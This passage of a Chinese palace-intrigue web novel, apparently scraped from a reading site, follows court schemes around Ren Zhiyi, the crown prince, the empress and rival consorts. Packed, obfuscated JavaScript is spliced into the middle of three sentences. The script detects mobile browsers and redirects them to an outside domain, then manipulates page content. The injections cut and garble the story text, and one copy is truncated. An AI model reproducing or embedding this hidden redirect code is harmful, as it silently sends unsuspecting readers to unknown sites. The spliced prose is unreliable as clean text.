接着，他长袖一甩，“殿下，老夫还有其他要事，先行告退。” 目送他身影远去，苏叶敛了笑容，咬牙啐骂：“老狐狸！” 卫枢迎着刺目的日光，微缩瞳眸，“今日早朝，景相提议让你去江南查税，你可明白？” “景相不希望世家的势力再继续做大，欲给柳德一个警告，却想借我作伐。”苏叶笑笑，“此去江南，我必做尽风流韵事，每日踏青赏花，品茗听曲，绝不令几个世家为难。” 卫枢道：“郑韩两家的纷争，你也权当不知。” “明白。”苏叶步子一快，腿脚就显出有几分不利索。 卫枢奇道：“你的腿受伤了？” 苏叶忍着痛，没好气道：“昨日任知宜来户部，我不过与她口角几句，她便让身旁的大理寺女捕快照着我腿骨狠狠踢了一脚。圣人所言诚不欺我，惟女子与小人难养也。” 卫枢脚步一顿，“因为何事？” “她不知从何处听说，跑来质问我是不是早就拿到灵州粮仓案的户部公文。” “你怎么说的？” “她态度冷硬，步步紧逼，我便训斥了她一番。此女近来真是越发骄恣，竟然连殿下都敢质疑。” 任知宜于东宫质问太子的传言早已传遍后宫，苏叶本就对她颇有微词，经此事之后，更是不满。 卫枢轻蜷手指，“告诉她这件事的人是柳德，他们刚刚在凌云楼见过。” 苏叶一惊。 “柳德这老狐狸竟是将心思动到她身上！此女对殿下本已心生怨怼，再加上柳德惯会收买人心，她未必不会倒戈相向，殿下不得不防啊。” 卫枢蹙眉不悦。 苏叶犹未察觉，继续道：“昨日我不过数落她几句，她居然怒笑一声，说什么——“得蒙太子知遇，我非得含笑引颈受戮，方能彰显忠心？” 天光烈烈，照在卫枢的双眸间，刺得他睁不开眼睛。 这份公文在两个月之前已落他之手，之所以没有告知她，不过是因为证据太少，他亦不想打草惊蛇。 单单公文一事，已令她如此介怀，若她知晓他隐瞒安州王是真正幕后之人，恐怕…… 苏叶以为卫枢听进去他的话，继续道：“殿下对她信重有加，还为了她父亲的案子特意去求陛下恩令，她却如此不知好歹。” 信重？ 卫枢缓缓闭上眼睛，喉头发涩，心思百转千折。 他一直说，她是自己最信重之人，如此隐瞒，也难怪她会失却信任。 信任，最需要的是坦诚。 闭目沉思良久，待睁眼时，卫枢的眼神已复清明。 “苏，叶！” 一声轻喝，打断了苏叶的话。 卫枢道：“此事孤自有决断，日后这些话，孤不希望再从你口中听到一个字。” 这话说得郑重，带着不容置喙的余地，听得苏叶心下茫茫。 “殿下？” 卫枢不再理会他，背手离开，只留下一句“政事堂合议后，你尽快启程去江南吧。” 45. 训诫 朝阳初绽，伴着霞光缓缓升起。 透过坤荣殿的宫檐一角，可见片缕浮云飘荡。 云雀挂枝低鸣，不敢惊声。 宫人躬身垂首，屏息浅步，引着任知宜跨入皇后所在的坤荣殿内。 殿深廊长，两侧宫人跪地，手捧白盂，内置冰水。 沿廊而过，凉意拂身。 任知宜正襟缓步，目不斜视，迈入殿内。 宫室内，出来迎她的是之前见过的李嬷嬷。 李嬷嬷神色复杂地瞥了她一眼，肃声道：“皇后娘娘在等姑娘。” 正堂内，紫金香炉香气袅袅，团团曦光自窗棂曳地而泻，透过飘逸轻透的纱帷，隐隐可见内里雕梁画栋，金碧荧煌。 与东宫的简约截然不同，坤荣宫的富丽堂皇让任知宜微微失神。 几步近前，任知宜深拜于地，“东宫待诏任知宜拜见皇后娘娘，愿娘娘千秋鼎盛，福寿绵长。” “抬起头来。” 任知宜依言抬头，唯眼神微微下垂，保持着恭谨的姿态。 郑皇后细细端详着。 一张巴掌大的杏脸，眉目清润，琼鼻秀挺，容色可以称得上是清丽秀美。 除了郑皇后，另有一道视线落在任知宜的身上。 懿靖郡主也在上下打量着她。 绛红色的窄袖官服极其贴合，衬得任知宜细腰不盈一握，体态纤纤，婉约柔静。 片刻，郑皇后缓缓开口，“你封女官的日子不算短了，今日却是本宫第一次见你。” 任知宜额头触地，“娘娘统领六宫，日理万机，今日得见凤颜，是臣的荣幸。” “人长得不错……”，郑皇后的声音高高在上，“也还算是会说话。” 懿靖郡主笑得明艳大方，“听闻女史当初以一人之力，与整个贡士院对峙，若非巧言善辩之人，焉能当此大任。” 闻言，郑皇后的眸色又淡了几分。 郑皇后年轻时，在京城贵女之中是出了名的端庄知礼，德言容功兼备；十几年的正宫之位，更是将她的性子磨得愈加沉肃。 她不喜欢任知宜。 身为女子，离经叛道踏入朝堂，且锋芒毕露，四处树敌。 之前让李嬷嬷告诫此女，她竟然敢阳奉阴违，在应国使臣的宫宴上设了一个惊天之局，来陷害严风。 懿靖郡主笑道：“任女史接连扳倒两位重臣，心机也不是一般人可比拟的。我初到京城便听说，如今大胤朝臣听到任女史的名字，无不胆战心惊。” 任知宜垂着脸，恭声道：“郡主，那些不过是市井传言，不可尽信。” 今早接到宫中谕旨，皇后娘娘有令，宣她进宫，她已知此行不好应对，却没料到还有个懿靖郡主在旁煽风点火。 郑皇后淡淡道：“本宫问你，这个东宫幕僚你还想不想做了？” “臣不敢，一切但凭殿下吩咐。” “是吗？”郑皇后淡淡地瞥了她一眼，“你不是说你所求唯有家人平安喜乐吗？你父亲既已官复原职，你也可以返回灵州，尽心侍奉父母。” 任知宜心头一颤，离京之前她在东宫所说的话，早已被一字不漏地传至皇后耳中，可是如今情势不同，她不能走。 “臣答应殿下，东宫幕僚以一年为限，自当践诺。” 郑皇后道：“既知晓自己的身份，如何敢肆意忤逆主上？” “臣与殿下存在一些政事上的分歧。” 郑皇后面容不寒自威，“好大的胆子！本宫看你不是与太子有什么分歧，而是恃宠而骄，生了别样的心思。” 任知宜心中生疑。 皇后的想法竟然与柳德如出一辙，同样认为她对太子生情。难道是她言行失当引人误会？抑或是，有人刻意为之？ 皇后幽幽道：“你心慕太子，本宫尚且能饶你，但是你若想借着幕僚身份干预太子的婚事，那就是自找死路了。” “臣绝无此念。” 余光瞥过郑皇后和懿靖郡主的神色，何其相似，三分厉色，七分不屑，皆是上位者的睥睨之姿。 任知宜只觉讽刺。 从一开始，她们便不相信自己是真心做这个东宫幕僚，只是借此上位，以女子之身攀附太子。 皇后将懿靖招至身前，拉着她的手，柔声道：“懿靖，做正宫就要有容人之雅量。” 懿靖郡主亦不是傻人，闪了下双眸，依旧笑得明艳大方，“懿靖明白。” 郑皇后凝视着任知宜，淡淡道：“之前种种，本宫不予追究。日后你就安稳地留在东宫侍奉太子，不要再参与朝堂政事。” 任知宜猛地抬头，眸色深黑，“敢问娘娘，这是太子的意思，还是娘娘的意思？” 郑皇后一怔，旋即大怒。 “本宫还做不得你的主？” “臣不敢。”任知宜垂眸：“只是太子与臣有言在先。” “这是太子的意思。” 冰冷的声音直穿入耳，引得耳膜嗡嗡空响。 郑皇后又重复了一遍。 任知宜袖手紧握，默然垂首。 “本宫与太子思虑再三，决定待太子与懿靖大婚之后，可允你一个侧妃之位。太子对你还是爱重的，你莫要辜负太子一番苦心。” 高高在上的施恩之言，听着刺耳又滑稽。 任知宜直白问道：“这是太子亲口所说？” 郑皇后闻言，眼看就要发怒。 “娘娘。”懿靖柔声劝慰，“任姑娘心中必然也是欢喜的，只是一时有些惊讶罢了。” 郑皇后绷着脸，点了点头。 对于懿靖这个太子妃人选，她虽然说不上极中意，但是为了巩固太子的储君之位，争取安州王的支持迫在眉睫。懿靖生得明艳，再加上几分太子妃该有的端庄，这些足矣。 “未来你二人共同辅佐太子，打理东宫，切记万事要以太子为先……” “臣不愿做东宫侧妃！” 此言一出，坤荣殿鸦雀无声。 随侍在旁的宫人连大气都不敢喘一下，只是绷紧唇齿，噤若寒蝉。 “你说什么？”郑皇后似是怒到极点，掌拍榻几，震得杯盏咣咣作响。 “臣女蒲柳之姿，配不上殿下，求娘娘让臣离宫返乡。” 话虽说得谦卑，语气却是生硬。 面对这两个后宫的女人，任知宜终于失了最后一点耐心。 懿靖郡主面露惊讶，“宫内外皆说任姑娘对太子情深义重，为何不愿？” 任知宜沉然不语。 接着，听见懿靖郡主咯咯地笑了两声。 “莫非任姑娘看不上侧妃之位，想要做太子妃？” 郑皇后冷笑一声。 区区五品边官之女，留个侧妃之位，已是仁至义尽，她竟然还敢贪得无厌。 任知宜跪地伏拜，声音不卑不亢，“臣别无他想，请娘娘成全。” “放，肆！” 一道凉冰碎玉之声从身后传来。 卫枢踏步而来，白衣款款，衣袂飘风。 “儿臣给母后请安！” 郑皇后怒意不减，“你的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127524|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆子可真不小。不只忤逆储君，如今连本宫都不放在眼里了。” “母后息怒。” 卫枢转身望着任知宜，声音如冰，“入宫这么些时日，连点宫中规矩都学不会吗？” 任知宜惊诧莫名，怔怔地望着卫枢。 卫枢明眸清转，幽光一闪即逝。 任知宜眨了眨眼睛，静默下来。 懿靖笑道：“归根结底，还是殿下对任姑娘过于纵容了。” 卫枢思忖片刻，声音清越柔和，“懿靖说得对，是孤思虑不周。” 转向任知宜时，态度却是有几分不耐。 “你忘了昨夜孤与你说的话？如今东宫群狼环饲，你不收敛锋芒，还要任性到几时？” 任知宜僵直的肩膀渐渐垂下来，似是受了极大的打击。 “臣知错。” 她狠咬下唇，抬眼时，秋水潺湲般的双眸一眨不眨地凝望着卫枢，似是情意缱绻，泪水一滴一滴地滚落下来。 宫人们眼观鼻，鼻观心，唯以眼底余光扫过那道摇摇欲坠的身影，纤薄的肩头似在微微颤动。 美人垂泪，心碎神伤。 果然，情之一字，难以言说。 郑皇后眉心紧蹙，挥了挥手，“太子，带她回去，好好地学学规矩。” “谨遵母后教诲。” “还有……”，郑皇后的眼神似是在警告卫枢，“懿靖初到京城，有空多陪陪人家。” “儿臣明白。” ———— 任知宜返家。 宝珠说，之前托陆三爷打探的消息有了眉目。 “新开的四家香铺，皆以十分之一的价钱打压，所以咱们的铺子才会经营惨淡。” 宝珠说完，突然发现任知宜眼尾泛红，怔了一下，“小姐，你刚才是不是哭过？” “无事，有风沙吹进去了。”任知宜表情平静无波，淡淡道：“你继续说。” 宝珠不疑有他，“陆三爷打听了，说是有人高价买了这几家铺子，可能是针对咱们的。” 任知宜蹙眉，“哪里来的人？” “陆三爷说，听口音像是来自江南。” 江南的富家，与她有仇的，不是宫家，便是郑家。 柳德这个老狐狸，一边威逼，一边利诱，打得一手好算盘。 “去给陆三爷备份礼，谢谢三爷送这消息过来。” 宝珠应下。 任知宜打听出四家香铺的位置，欲上门一探。 沿街缓行，路过一家面摊。 白衫竹纹，青襟玉带。 摊位上坐着一个气质斐然的白衣公子，不是景随，又是何人。 “景公子，好巧。” 景随笑如清风，“之前听姑娘你夸赞这里的面，我还以为你会常来，没想到来了二十八次，这才遇到姑娘。” 任知宜微哑，后知后觉地发现，这里是上次她与景随吃面的那家面摊。 “景公子找我有事？” 景随不在意道：“无事，不过想找姑娘随意聊聊。” “呵。”任知宜觉得有趣，坐下笑叹道：“今科状元，宰辅之子，还会缺聊天的朋友？” “可是有些话，我只想与任姑娘你一人说。” 这话脱口而出，却说得极尽温柔，情意绵绵。 手中的茶盏停在半空，任知宜樱唇微张，神情愕然。 对方的眼神极专注，好似只能看到她一人，流光烨烨，灼灼其华。 任知宜缓缓地搁下茶盏，面上露出几分不知所措。 46. 漩涡 街边此起彼伏的叫卖声，冲破了二人之间凝滞的气氛。 景随放下竹筷，轻声道：“姑娘莫怪，景某说话有些唐突。” 斜阳夕照，晚霞尽染。 玉指摩挲着盏沿，任知宜眼睫轻颤，似是心事重重。 景随察觉到她的异样，温和笑道：“任姑娘准备去哪儿？” “朝中有人想整垮我家香铺，打算去探探对方的虚实。” 这话说得自然，没有半分犹疑。 景随朗声笑道：“之前见面，姑娘对景某总是多有怀疑，今日倒是难得坦诚。” “此事是我欠公子一声抱歉。”任知宜沉吟半晌，“细数你我相识以来的经历，景公子不但多次相助，还从未说过一句虚言。” 她明眸轻闪，若有所思。 天边云霞渐散，残留落日余晖。 街边有人呼朋引伴，相携共饮；有人步履匆匆，焦急归家。 人生在世，不过求一个平安喜乐。她将自己困于京城这个大大的漩涡之中，反复纠葛人心，究竟值不值得。 景随面露惊喜，禁不住握拳轻咳，虚虚地掩住唇间的灼灼笑意，“别人暂且不论，任姑娘是我极为珍重的朋友，我是绝不会欺瞒半分的。” 任知宜定定地望着他，对方不避不躲，倒是她自己先承受不住这温柔的视线，不自然地别开脸。 “还未恭喜公子高中状元，入得翰林院，日后定当平步青云。” 一甲入翰林，天下皆知。 景随初入朝堂，便领了翰林院供奉一职，可谓前途无量。 翰林院不掌权柄，只是修书撰史，草拟诏书，但是这里离大胤权力中枢最近，易得圣心，参与政事。 之前景随就曾说过——“状元之位，非我莫属。” 初听此言，只觉此人狂妄，如今尘埃落定，她举盏真心恭贺，“公子天纵英才，当得状元。” 景随摇摇头，“自十五岁起，我每日卯时晨起，挑灯夜读至子时方歇，不论春秋寒暑，无一日间断。” 任知宜怔住。 说好的狂悖自负呢？ 她哭笑不得，一时之间不太能理解景随的意思。 “我幼时顽劣，不喜读书，动辄便得到父亲的一顿杖打。兄长不但护着我，每日不厌其烦地读书给我听，还会讲一些圣贤之道。” 任知宜静静听着。 “兄长天资聪颖，才华过人，他一心要考得状元之位，投身朝廷，经世济民。 可惜，在我十五岁那年，春闱当日，他没有去参加会试，却跳了曲江。” 景随的声音低沉，“这些年，我只做两件事。一件是完成家母遗愿，为景家挣一个状元；另一件，便是查他的死因。” 他挥挥手，着人买了壶酒回来，抿唇倒了一杯。 任知宜想起，初见卓老时，那句“你兄长就是自尽”说得极为笃定，景随如此行事，更像是心结难解。 她手压酒杯，阻止他继续喝下去，“你不信卓老所说？” 景随一怔，旋即笑得开怀，“任姑娘是在关心我，怕我饮醉？” 接着自顾自笑道：“我只是见到姑娘，有些高兴，这才多饮了两杯。” 因着几句调笑，任知宜倏地松开手，面起薄愠。 景随不以为意地笑笑，“兄长的尸身已请卓老验过三遍，与高期不同，兄长的确是自尽无疑。” “那你还要查什么？” “查他为何自尽。”几杯酒下去，不见醉意，他的眼神反而愈加清亮，“兄长性情平和豁达，胸怀远志，我无论如何也想不出，他到底为何会自尽，还是在会试当日，所以我才会介入科举舞弊案。” “可惜啊！”景随轻声道：“这些案子与我兄长之死，皆毫无干系。” 说起他兄长之死，他虽面带笑容，眼底却是一片冰凉。 “有线索吗？” “兄长死之前，曾去找过太常寺卿钟黎，不过钟黎说，他并未见过我兄长。” 任知宜一怔。 若不是景随提起，她差点忘记此人，牵涉科举舞弊案的所有人当中，惟独钟黎侥幸逃过，仅是因教子无方之失，在家中闭门思过数月。 究竟是何人在保钟黎？ 夜幕将至，街市上行人渐少。 “你是不是也觉得奇怪？”景随道：“钟黎之子明明参与舞弊，为何肖显秀要独独保他一人？” 钟黎在朝中多年，无党无派，任知宜从未深思过此人倚仗的究竟是什么，如今想来，的确有几分怪异。 “入朝后，你还会继续查下去？” “不错！”景随的眼神望过来，“若我有所求，姑娘可愿帮我？” 任知宜笑道：“我还欠公子一个要求，自然愿意。” “若没有这个要求，只是朋友求请呢？” 任知宜一时之间不知该怎么回答他。 景随唇角轻勾，淡淡笑道：“玩笑而已。我怎会让任姑娘为难呢。” 他淡淡抿了一口酒。 任知宜温声道：“你我早已是朋友，若我力所能及，定当尽力。” 景随一怔，眼底如落繁星，熠熠生辉。 ———— 几日后，安王回京。 安抚靖北道节度使白坚，招降流民，于无声处消弭一场叛乱祸事。 三道九州联名上表，赞颂安王德才兼备，为大胤皇子之表率。 同一时间，应国国主寄来国书，说受到安王殿下感召，愿与大胤开放边境通商，惠及两国子民。 一时之间，朝野上下，对安王赞声一片。 是夜，皇帝来到贤妃娘娘的兰璋宫。 贤妃娘娘姓徐，闺名兰芷，含岸芷汀兰之意，虽已不复年轻貌美，胜在温柔知礼。 皇帝躺在榻上，半阖双目，头微微后仰，感受着来自指尖的轻柔力道。 “朕的头疼，只有到贤妃你这里，才能得到纾解。” 贤妃轻轻地揉捏着皇帝的侧颞，叹声道：“陛下忧心国事，太过操劳，连白发都多了。” 皇帝缓缓地睁开双眼，灯烛下，贤妃的侧颜隐在晕黄的灯影下，现出几分娴静之美。 “这些年，冷落你了。朕心里一直歉疚得很。” 贤妃心中冷漠，面上却现出几分动容，“陛，下！” 拭掉眼角泪滴，贤妃似是百感交集，“陛下还记得我们母子，臣妾就心满意足了。” 皇帝拍拍她的手，“咱们的瑾儿很不错，事父至孝，行事稳重，日后定大有可期。” 贤妃闻言，破涕为笑，“他生来是陛下的儿子，便已是大造化，还有什么好期的。” 皇帝心中一动，沉吟片刻，未再言语。 贤妃点上安神香，为他盖上薄衾，皇帝生过一场病后，夜里总是畏寒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127525|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “朕记得，你与皇后一样，母家也是姓郑……” 贤妃手下动作一顿，“难为陛下记得，臣妾的母亲出身柳州郑氏。” “嗯。”皇帝状似无意地问道：“郑家这一任的家主，是叫郑檀吧？” “是的，若论辈分，臣妾还要喊他一声舅父。” “嗯。”皇帝再一次闭上眼睛，神情放松，“都是自家亲戚，你入宫多年，有时间也可以召母家姐妹入宫叙一叙。” 贤妃福身，“谢陛下洪恩。” ———— 三更梆声敲响。 月明星稀，万籁空静。 一人身披黑衣斗篷，走入一座不起眼的宅邸中。 正堂前的路上挂满方灯，照耀得院落通明。 一门之隔，宛若黑夜与白昼两个世界。 柳德从堂内歩出，望着眼前的黑衣人，“你来了。” 来人放下兜帽，露出一张清丽绝尘的面容。 神色清冷，眸色幽邃，唇角抿出的弧度似笑非笑。 “柳尚书，你故意设计害我。” 柳德右手一挥，“任姑娘，请进。” 任知宜环顾四周，柳德身边仅有一个仆从，护院们皆守在院子的角落，离他们尚有一段距离。 “这些人当中，不会也有柳尚书故意安排的人吧。” 柳德失笑，“同样的伎俩，再用一次，岂不是拿人当傻子。” 堂门高大宽阔，气势恢宏，屋内陈设华贵，琳琅满目。 柳德手中随意把玩着一对杏子大小的南红珠，珠圆玉润，色艳欲滴，是绝对的上品。 “任姑娘，请坐。” “不必了。” 柳德眉骨微动，觑了她一眼，“姑娘特意传信于老夫，要求一见，就只是为了兴师问罪？” 任知宜声音冷冽，“今日，济州韩氏韩少初入京。殿下没有知会我，直接见了韩少初。若不是你故意将凌云楼与我相见之事透露给东宫的暗探，怎会引得殿下对我生疑！” 柳德嗤了一声，“若是真心信任，又怎会因为区区伎俩便中了计？” 任知宜牙根一咬，双眸深处释出森森凉意。 “你之前所说，可还作数？” 右手一顿，掌中南红珠发出清脆的击响。 柳德斜睨了她一眼，笑得凉薄，“听闻太子已经决定襄助韩家，任姑娘还能做什么？” “你不用管。”任知宜肃着一张俏脸，“我自然有我的办法。” 柳德双眼微眯，眉头蹙得更高，“姑娘这是对太子彻底死心了？” 坤荣殿发生的事，传入他的耳中。 任知宜在坤荣殿受辱，再加上一个小小的离间之计，嫉妒之心足以令二人生出嫌隙。 东宫少了任知宜这一助力，对他们百利而无一害；但是，任知宜这么快背叛太子，反而让他生疑。 “恰恰相反。”任知宜眸色深黑如墨，“你不能动太子，但我可以暗中提供韩家的消息，同时你要帮我毁掉太子与安州王的结盟。” 毁掉结盟，最简便的方法便是破坏太子与懿靖郡主的婚事。 柳德笑了。 原来如此。 “好！” “除此之外，我还有一个要求。” 柳德挑眉，“什么？” 任知宜摇了摇头，声音清冷如冰，“山南道的军费。” 47. 暗潮 柳德一怔，面色微沉，“你为何要帮郭嘉？” 数日前，六百里军情加急，报霍州段运河有郓人拦路劫掠，被沿江追来的山南道节度使郭嘉斩杀。 这些年来，郓人多有侵扰，却仅限于灵州，此次北至运河，朝廷颇为震惊。 “我父亲是灵州长史，灵州与郓国相连。” 柳德神色稍缓，沉声道：“此事朝中已有定论。待郭嘉到京，朝廷会下拨军费，必保南段运河无阻。” “可是朝廷定下的军费数额太少，请柳尚书多支一倍。”任知宜不以为然道。 柳德面色沉沉，“国库空虚，陛下又一直忌惮各道节度使，这个数额不能再增加。” “山南道军费常年不足，军士多有懈怠，如何能与郓国相抗？” “不过是威慑一下，又不是真地动刀动枪。”柳德斜睨着她，“只要他们不再进渝江，朝廷也不愿兴起战事。” 任知宜闻言，一颗心沉到谷底。 “这是我的第二个要求，若柳尚书不答应，咱们的约定就此作罢。”她的声音陡然拔高，透着决绝之意。 柳德微怒，“你威胁老夫？” 整个宅院安静空旷，不闻虫鸣鸟叫，两相对峙的气息在静谧的空气中涌动。 侍从进来，打破了暗潮汹涌的宁静。 “老爷，刚才一队北衙卫从咱们门前走过。” 柳德神色微沉，“可有异样？” “不是冲着你我来的。”任知宜轻声道：“近来京城附近有贼匪活跃，听说在江湖上还颇有些名气，所以北衙卫夜里增加了巡逻守卫。” “跟着他们，确保无异状之后再回来。” 侍从领命离开。 柳德神色略缓，觑着任知宜默了半晌。 “罢了！老夫会尽力促成此事。” 任知宜绷紧的面容一松，长长地舒了口气。“柳尚书若能促成此事，知宜感激不尽。” 柳德面色稍霁，“姑娘何必如此？” “我父亲不日会升任灵州刺史，十数年来，朝廷对灵州不闻不问，百姓饱受郓人欺凌，这个灵州父母官，实在难做。” 柳德轻嗤，“姑娘在京城筹谋日久，如今亦可于六部行走，早就该为令尊作下打算。灵州这种鬼地方，还是要离得越远越好。” 闻言，任知宜怔在原地。 柳德笑道：“姑娘与老夫合作，百利而无一害。待令尊灵州刺史之位满一年，凭老夫一句话，便可调他迁去江南道任刺史。江南太平富庶，风景秀丽，姑娘也无须再挂心令尊。” 她父亲可以调迁，那灵州七十三万百姓呢？郓人来了，他们能躲到哪里去？ 想起她幼年时遭遇郓人的恐惧，想起兰芝姨母的眼泪。 这句话在她唇齿间滚了又滚，复又咽了回去。 一腔荒凉之感，溢满胸臆。 她垂首敛眸，掩下眼底情绪。 ———— 兰璋宫 “姐姐这里真是雅静。”庆嫔捏着绢帕轻笑，颦眉若画，明眸婉转多情。 “妹妹喜欢，日后常来。”贤妃姿态雍容地剪掉兰花枝上的杂叶，回以浅笑。 因着贤妃爱兰，这几日宫内府接连送来十几盆兰花，品相各有不同。其中，尤以直剑墨兰的品种最为罕见，色呈紫褐，萼长如剑，是墨兰之中的圣品。 庆嫔摇着团扇，莲步款款走过这株墨兰，轻笑道：“此花香气幽深，着实特别，陛下对姐姐真是恩宠啊。” 贤妃含着嗔笑，故意睨了她一眼，“若说恩宠，谁能越得过你？” 这么说，并非客套。 皇帝不是重色之人，多年来后宫嫔妃不多，仅对皇后称得上感情深厚；但是自从庆嫔入宫之后，后宫便有了宠妃之说。 庆嫔出身不高，却生得冰肌玉骨，艳华丽秾，一颦一笑皆具风情，甚得皇帝的喜爱。最小的五皇子即是庆嫔所生，刚满三岁。 娘家位卑，亲子年幼。 庆嫔虽然心思不深，却也不是蠢人。 皇后娘娘一向视她为眼中钉，眼下靠着陛下的恩宠尚且无事，日后该如何是好？ 不得不早作打算。 眼见安王日渐得势，贤妃主动示好，她哪有不顺势而为的道理。 庆嫔眼波流转，“听说姐姐的家人昨日递了帖子，要进宫看望姐姐。” “嗯，是外祖家的两位表妹，一位是硕恩伯夫人，一位是吏部侍郎的夫人。我久居后宫，也是多年未见过她们了。” 庆嫔幽幽叹道：“真羡慕姐姐啊！外祖是郑州柳家，百年的世家豪族，家中姐妹也嫁到京城权贵之家，还能见上一面。妹妹我一入宫门深似海，像是隔了千山万水般。” “妹妹想见亲人有何难，求陛下陪你省亲即可。”贤妃不以为意道。 庆嫔杏眸一亮。 贤妃淡淡笑道：“省亲一说，并非本朝专擅，妹妹的家乡临州离京畿也不远，不如向陛下讨个恩典。” 被说得动了心，庆嫔手里绞着帕子，心跳得七上八下。 “妹妹寻个合适的时机，向陛下提请，我再从旁帮说，陛下定然会考虑。” 贤妃又道：“自古嫔妃省亲非盛世不为，对于妹妹的母家来说，这是无上的荣耀；对于朝廷来说，也是彰显皇家威仪的机会，陛下未必不会答应。” 庆嫔迟疑道：“如今财库空虚，省亲一事会不会被御史台弹劾？” 贤妃放下手中花浇，凝神想了想。 “省亲的一应车马、行宿和人手的花费，确实不是一笔小开支。” 庆嫔失望。 “不过……”，贤妃顿了一下，笑得意味深长，“倒也不是完全没有办法。” 她朝外面招招手。 几个宫人小碎步进来，顷刻之间将地上的杂叶清扫得干干净净。 贤妃瞅着修剪好的兰花，叹声道：“这株的品相终归是差了些，怎么剪都剪不出直剑墨兰的神韵。” 如此品相，竟还入不得眼。 庆嫔暗暗心惊，都说柳州郑氏富甲天下，可见传言不虚。 贤妃轻声道：“若省亲费用由柳州郑氏以进献朝廷的名义承担，不走财库，满朝文武便说不出一个不字。” “这怎么行？”，庆嫔大惊坐起，“我与郑家非亲非故，这如何使得？” 贤妃笑得风轻云淡，“郑家在临州亦有一宗族旁支。陛下到临州之后，为郑家提匾，郑家感皇恩浩荡，向朝廷进献少许金帛，有何不可？” 庆嫔心头狂跳。 “妹妹也知道，郑家经营江南盐业已有七年，今年韩家非要跳出来与郑家相争，郑家岂能罢休？ 贤妃的意思说得很明白，郑家出钱帮她省亲，她替郑家在陛下面前争取。 庆嫔手中捏着绢帕，纠结不言。 接着，贤妃又拉着庆嫔的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127526|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，走到书案前，从书卷最里面抽出一份簿册递给她。 簿册上记着临州的千亩良田，八家商铺，和一个庄子。 庆嫔目露惊讶。 贤妃缓缓笑道：“区区薄礼，还请妹妹不要推却。” 庆嫔手指微颤，像被薄薄的册子烫了一下，慌忙搁在案上。 贤妃重新将薄册放于她手中，“后宫不得干政，姐姐都明白。妹妹不用特意提起郑家，只须顺着自己的心意向陛下提出省亲一事，后面的事自然不用妹妹再操心。” 这一次，庆嫔没有再松手。 —— 待庆嫔走后，从内室帘后走出一人。 年及弱冠，相貌端正，五官与贤妃有几分相似。 膳房将刚刚做好的杏仁燕窝羹呈上来。 安王卫瑾接过盅碗，让宫人退下。 他轻轻吹掉汤上的热气，又试了盅羹的温度，不热不凉刚刚好，这才恭敬地递上去。 “母妃。” “下次进宫，记得先去你父皇那里请安，如今你事父至孝的名声在外，不要被人落下话柄。” 安王神态拘谨，恭敬道：“是，母妃。” “有时间多与五皇子亲近亲近。” “是，母妃。” 贤妃放下手中汤匙，眉心微蹙，“你的政事学得如何？” 安王思忖半晌，缓缓道：“兵部的事情了解得差不多了。” 盅碗突然被人重重一放，底托撞在榻几上，发出清脆的声响。 “哼！兵部！”贤妃冷嘲，“兵部有什么要紧政事？如今天下大定，陛下若是真心历练你，又怎么会让你去兵部？” “母妃，父皇命我钦使两靖，也是一种历练。” 贤妃冷笑一声，“我看你是揣着明白装糊涂。” 安王抿了抿唇，抬头道：“母妃，非要与皇兄一争到底吗？” “不错！” 贤妃蓦地站起身来，“你想想当年！太子失踪，你是储君的不二人选，陛下延请名师大儒教你经史子集。你日夜苦读，学习治国方略，朝堂内外无不当你是储君般敬待。” “可是后来呢……”，贤妃冷声长笑，“太子一回来，陛下便再也没有来过兰璋宫，那年冬天内府的人连炭火都忘了给咱们送。” “母妃！”安王不忍地唤了一声。 “在我面前，你不用如此。”贤妃眸光闪烁，“你扪心自问，难道真得一点儿都没有将太子取而代之的心思？” 安王心中一紧，慌忙低下头去。 “母妃知道，你也是不甘心的。”贤妃幽幽笑道：“你自小性子温吞，做事犹疑，母妃便推你一把。” 贤妃见他兀自纠结，又下了一剂猛药，“想想当年你做的事，若被你父皇和太子知道，他们可会原谅你？” 安王身躯一震，面色青白。 他失魂落魄了半晌，“我当时是一时糊涂。” “是啊！一时糊涂！”贤妃轻声笑道：“所以你明知太子未身死，却还是选择将消息隐瞒下来。” “瑾儿！你也想当太子！”贤妃笑得残忍，“只是你不肯承认罢了！” 安王掌心紧握，微微发颤。 “瑾儿，太子查科举舞弊，就是要拿世家开刀，要剑指咱们母子俩。他不给我们活路，我们也绝不能坐以待毙。” 眸间阴云几度翻滚，安王垂首，沉声道：“是，母妃。” 48. 旧案 一大早，任知宜去到刑部衙署。 刑部郎中徐志慌里慌张地出来迎人，“任待诏怎么来刑部了？” “不能来吗？”任知宜身着官袍，明颜如玉，笑若春风。 徐志神色怔忡。 坤荣殿的事已传遍朝堂内外，她如今正处风口浪尖，按理说该留在东宫静思，怎地会跑来刑部？ 